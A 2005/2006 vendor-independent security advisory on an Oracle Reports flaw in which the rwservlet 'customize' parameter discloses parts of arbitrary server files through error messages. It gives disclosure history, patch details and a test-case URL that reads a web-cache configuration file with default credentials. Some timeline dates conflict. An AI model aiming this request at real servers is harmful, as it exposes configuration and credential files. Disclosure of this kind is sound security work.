Read parts of any XML-file via customize parameter in Oracle Reports Name Read parts of any XML-file via customize parameter Severity Medium Risk Category Information disclosure Vendor URL http://www.oracle.com/ Author Alexander Kornbrust (ak at red-database-security.com) Date 25 August 2005 (V 1.02) Cert VU# 277757 Oracle Bug 5882923 Time to fix 875 days ago Details: ######## Oracle Reports is Oracle's award-winning, high-fidelity enterprise reporting tool. It enables businesses to give immediate access to information to all levels within and outside of the organization in an unrivaled scalable and secure environment. Oracle Reports, a component of the Oracle Application Server, is used by Oracle itself for the E-Business Suite. Many large customers are using Oracle Reports as reporting tool for their enterprise applications. The Oracle Reports parameter customize can read any file by using an absolute or relative file name. Parts of the file content are displayed in the Reports error message (see test case). Affected Products: ################## Internet Application Server Oracle Application Server Oracle Developer Suite Patch Information This bug is finally fixed with Critical Patch Update January 2006. Testcase: ######### http://myserver:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=scott/tiger@iasdb +destype=cache+desformat=xml+CUSTOMIZE=/opt/ORACLE/ias/oracle/product/9. +0.2/webcache/webcache.xml ***Reports Output**** REP--866648059: Error in the XML report definition at line 3 in ' Element 'CALYPSO' used but not declared.'. ***Reports Output**** History: ######## 26-aug-2003 Oracle secalert was informed 27-aug-2003 Bug confirmed 15-apr-2005 Red-Database-Security informed Oracle secalert that this vulnerability will publish after CPU July 2005 Red-Database-Security offered Oracle more time if it is not possible to provide a fix ==> NO FEEDBACK. 12-jul-2005 Oracle published CPU July 2005 without fixing this issue 18-jul-2005 Red-Database-Security published this advisory 21-jul-2005 Cert VU# and affected products added 13-jan-2005 days since initial report updated 17-jan-2006 Oracle published the Critical Patch Update January 2006 (CPU January 2006) © 2006 by Red-Database-Security GmbH http://www.red-database-security.com/advisory/oracle_cpu_jan_2006.html
